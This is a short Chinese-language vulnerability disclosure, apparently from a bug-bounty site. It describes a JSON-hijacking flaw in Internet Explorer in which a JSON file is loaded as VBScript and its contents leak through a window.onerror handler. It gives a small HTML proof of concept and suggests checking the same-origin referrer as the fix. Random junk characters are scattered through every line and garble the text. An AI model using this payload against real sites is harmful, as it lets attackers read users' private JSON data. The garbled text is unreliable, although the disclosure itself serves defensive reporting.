简要描述:% c* @# ]- V4 `3 ?- e
0 _0 M% ?" r- { A ^: u( Q% }/ x7 O由于某些资源容器对数据处理不当导致json劫持漏洞.9 ]9 F3 e; U3 e* y4 r8 o" {
详细说明:) }) R; N9 f4 V, T2 |. z
由于ie支持vbscript,所以script元素可以指定成vbscript语言:6 R( V1 c3 Z: O
<script language=vbscript></script>, T6 g4 O8 C2 p: g7 ^
+ F0 v& t3 l' J ^* x7 r, Y当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.$ l' d8 g* u9 V& K' `
漏洞证明:5 b' Z- Y% j+ f; l6 w$ l5 z
<script>( I# d% a" S' Z3 h* T% S
window.onerror=function(_){
) [0 c- k' Q# Ralert(_)3 t. j1 N5 Y" E& T# D# H; m/ V
}
. z1 G7 d* Z0 I9 }7 c</script>
$ |# o9 i7 e% a( _' l% ~<script language=vbscript src=1.json></script>
" h6 @3 {7 L2 R0 r7 p # U& Z6 M2 b) B' [5 g- R$ E% ^
- ~9 K) W) \" a D5 @0 f. E( \1.json:
8 G7 a v5 K# P1 ]0 y7 ?- h4 m[{"name":"sogili","age":19}]; @; L9 Q! r) |( k/ }" o9 V
修复方案:- h, s" s% Q# `0 @7 N; f
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |